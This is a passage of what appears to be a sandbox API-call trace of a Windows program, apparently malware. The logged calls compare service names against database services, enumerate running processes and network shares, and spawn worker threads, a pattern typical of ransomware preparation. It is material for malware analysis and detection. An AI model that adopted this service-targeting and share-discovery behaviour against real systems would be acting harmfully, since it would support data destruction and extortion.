lpString2="MpsSvc") returned -1 [0210.788] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0210.788] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0210.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0210.788] lstrlenW (lpString="NcbService") returned 10 [0210.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0210.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0210.788] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0210.788] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0210.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0210.788] lstrlenW (lpString="netprofm") returned 8 [0210.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0210.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0210.788] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0210.788] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0210.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0210.788] lstrlenW (lpString="NgcSvc") returned 6 [0210.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0210.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0210.788] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0210.788] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0210.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0210.788] lstrlenW (lpString="NlaSvc") returned 6 [0210.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0210.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0210.788] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0210.788] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0210.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0210.788] lstrlenW (lpString="nsi") returned 3 [0210.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0210.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0210.789] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0210.789] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0210.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0210.789] lstrlenW (lpString="PcaSvc") returned 6 [0210.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0210.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0210.789] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0210.789] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0210.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0210.789] lstrlenW (lpString="PlugPlay") returned 8 [0210.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0210.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0210.789] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0210.789] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0210.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0210.789] lstrlenW (lpString="Power") returned 5 [0210.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0210.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0210.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0210.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0210.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0210.789] lstrlenW (lpString="ProfSvc") returned 7 [0210.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0210.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0210.789] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0210.789] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0210.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0210.789] lstrlenW (lpString="RpcEptMapper") returned 12 [0210.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.790] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0210.790] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0210.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0210.790] lstrlenW (lpString="RpcSs") returned 5 [0210.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0210.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0210.790] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0210.790] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0210.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0210.790] lstrlenW (lpString="SamSs") returned 5 [0210.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0210.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0210.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0210.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0210.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0210.790] lstrlenW (lpString="Schedule") returned 8 [0210.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0210.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0210.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0210.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0210.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0210.790] lstrlenW (lpString="SecurityHealthService") returned 21 [0210.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0210.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0210.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0210.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0210.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0210.791] lstrlenW (lpString="SENS") returned 4 [0210.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0210.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0210.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0210.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0210.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0210.791] lstrlenW (lpString="ShellHWDetection") returned 16 [0210.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.791] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0210.791] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0210.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0210.791] lstrlenW (lpString="Spooler") returned 7 [0210.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0210.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0210.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0210.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0210.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0210.791] lstrlenW (lpString="SSDPSRV") returned 7 [0210.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0210.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0210.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0210.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0210.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0210.791] lstrlenW (lpString="StateRepository") returned 15 [0210.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0210.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0210.792] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0210.792] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0210.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0210.792] lstrlenW (lpString="SysMain") returned 7 [0210.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0210.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0210.792] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0210.792] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0210.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0210.792] lstrlenW (lpString="SystemEventsBroker") returned 18 [0210.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0210.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0210.792] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0210.792] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0210.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x623608 | out: hHeap=0x5c0000) returned 1 [0210.792] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0211.269] Process32FirstW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.270] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.271] lstrlenW (lpString="System") returned 6 [0211.272] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.273] lstrlenW (lpString="smss.exe") returned 8 [0211.273] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.274] lstrlenW (lpString="csrss.exe") returned 9 [0211.274] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.274] lstrlenW (lpString="wininit.exe") returned 11 [0211.275] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.275] lstrlenW (lpString="csrss.exe") returned 9 [0211.276] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.276] lstrlenW (lpString="winlogon.exe") returned 12 [0211.277] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.278] lstrlenW (lpString="services.exe") returned 12 [0211.278] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.279] lstrlenW (lpString="lsass.exe") returned 9 [0211.279] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0211.280] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0211.280] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0211.281] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0211.281] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.282] lstrlenW (lpString="svchost.exe") returned 11 [0211.282] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.283] lstrlenW (lpString="svchost.exe") returned 11 [0211.283] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.284] lstrlenW (lpString="dwm.exe") returned 7 [0211.284] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.285] lstrlenW (lpString="svchost.exe") returned 11 [0211.285] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.286] lstrlenW (lpString="svchost.exe") returned 11 [0211.286] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.376] lstrlenW (lpString="svchost.exe") returned 11 [0211.376] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.377] lstrlenW (lpString="svchost.exe") returned 11 [0211.377] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.378] lstrlenW (lpString="svchost.exe") returned 11 [0211.378] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.379] lstrlenW (lpString="svchost.exe") returned 11 [0211.379] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.385] lstrlenW (lpString="svchost.exe") returned 11 [0211.385] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.386] lstrlenW (lpString="svchost.exe") returned 11 [0211.386] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.387] lstrlenW (lpString="svchost.exe") returned 11 [0211.387] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.387] lstrlenW (lpString="svchost.exe") returned 11 [0211.387] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.388] lstrlenW (lpString="spoolsv.exe") returned 11 [0211.388] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.389] lstrlenW (lpString="svchost.exe") returned 11 [0211.389] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.390] lstrlenW (lpString="audiodg.exe") returned 11 [0211.390] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.391] lstrlenW (lpString="sihost.exe") returned 10 [0211.391] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.392] lstrlenW (lpString="svchost.exe") returned 11 [0211.392] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.392] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0211.393] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0211.393] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0211.393] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0211.394] lstrlenW (lpString="Memory Compression") returned 18 [0211.394] Process32NextW (in: hSnapshot=0x394, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.395] lstrlenW (lpString="taskhostw.exe") returned 13 [0211.395] Process32NextW (hSnapshot=0x394, lppe=0x24afd2c) Thread: id = 88 os_tid = 0xa80 [0205.208] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x80 [0205.208] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x603c70 | out: hHeap=0x5c0000) returned 1 Thread: id = 89 os_tid = 0x7f8 [0205.209] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616eb8 [0205.209] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x616eb8, Size=0x20) returned 0x5fed00 [0205.209] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fed00, Size=0x40) returned 0x5d77b8 [0205.209] GetLogicalDrives () returned 0x4 [0205.209] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x65eec8 [0205.210] GetComputerNameW (in: lpBuffer=0x65eecc, nSize=0x26eff64 | out: lpBuffer="NQDPDE", nSize=0x26eff64) returned 1 [0205.210] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x66eed0 [0205.210] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26eff34 | out: lphEnum=0x26eff34*=0x5d6660) returned 0x0 [0205.210] WNetEnumResourceW (in: hEnum=0x5d6660, lpcCount=0x26eff30, lpBuffer=0x66eed0, lpBufferSize=0x26eff38 | out: lpcCount=0x26eff30, lpBuffer=0x66eed0, lpBufferSize=0x26eff38) returned 0x103 [0205.212] WNetCloseEnum (hEnum=0x5d6660) returned 0x0 [0205.212] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26eff34 | out: lphEnum=0x26eff34*=0x5da2d0) returned 0x0 [0205.245] WNetEnumResourceW (in: hEnum=0x5da2d0, lpcCount=0x26eff30, lpBuffer=0x66eed0, lpBufferSize=0x26eff38 | out: lpcCount=0x26eff30, lpBuffer=0x66eed0, lpBufferSize=0x26eff38) returned 0x0 [0205.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x618a38 [0205.245] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x66eed0, lphEnum=0x26eff08 | out: lphEnum=0x26eff08*=0x5d6760) returned 0x0 [0205.258] WNetEnumResourceW (in: hEnum=0x5d6760, lpcCount=0x26eff04, lpBuffer=0x618a38, lpBufferSize=0x26eff0c | out: lpcCount=0x26eff04, lpBuffer=0x618a38, lpBufferSize=0x26eff0c) returned 0x103 [0205.258] WNetCloseEnum (hEnum=0x5d6760) returned 0x0 [0205.258] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x61a078 [0205.258] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x66eef0, lphEnum=0x26eff08) Thread: id = 90 os_tid = 0x7ec [0205.274] GetTickCount () returned 0x1df3f [0205.274] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5d5448 [0205.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5d5448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0205.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5d5448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0205.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5d5448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0205.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5d5448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0205.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616d98 [0205.277] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x616d98, Size=0x20) returned 0x5fecb0 [0205.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616d98 [0205.277] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x616d98, Size=0x20) returned 0x5fe9e0 [0205.278] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.278] GetProcAddress 